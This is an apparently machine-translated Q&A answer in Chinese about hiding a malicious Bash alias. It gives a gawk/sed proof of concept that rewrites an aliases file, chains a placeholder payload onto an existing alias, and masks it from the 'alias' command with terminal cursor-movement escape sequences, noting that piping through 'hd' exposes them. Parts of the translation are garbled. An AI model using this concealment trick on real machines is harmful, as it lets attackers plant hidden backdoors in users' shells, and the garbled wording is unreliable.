是否有可能在Linux系统上隐藏Bash中存在的恶意别名,并让用户在不知情的情况下执行该别名?
如果使用alias命令来显示别名定义,可以通过将现有的别名附加到恶意的别名上并使用光标移动来隐藏它。 这不是一个完全万无一失的方法,但它可能会在一段时间内未被发现。 通过hdpipe道alias将显示你的alias是否有任何转义序列(光标移动)。 下面是如何将恶意命令插入别名的概念certificate:
alias | gawk 'BEGIN { FS = "[ =\047]" db = "\\"; sp = db " "; amp = db "&" sq= "\047"; bell = "\007"; esc = "\033" } NR == 3 { len1 = length($2) } NR == 4 { alias = $2 orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1)) orig = gensub(" ", db sp, "g", orig) } END { hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t" for(i=1; i<len1; i++) {hide = hide esc "[C"} cmd = "sed -is/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases" system(cmd) }'
sed命令修改了一个名为“别名”的文件 – 这种types的实际脚本会去修改一个真实的脚本文件,以便在下次执行恶意别名时被激活。 hide的内容作为参数执行,所以可以想象,您可能会得到类似于此问题中报告的错误。 虽然这会干扰提供给别名的参数,但可能会颠倒原来的和恶意的部分来影响这一点。 在上面的脚本中尝试用--来标记参数的结尾。 &&来链接原始的和恶意的部分,你可以将其中一个传递给下一个,并将恶意脚本(由上面的简单echo命令表示)作为stdin传递给stdout传递,以便修改数据或者通过不干扰其他redirect来进一步隐藏其存在 hidestring以包含不同的光标移动和原始别名的文本,这样alias命令将显示为显示未修改的别名,而不是将其与恶意部分一起隐藏。 . aliases . aliases 。 然后,您可以尝试使用受影响的别名,并查看alias|hd时的样子。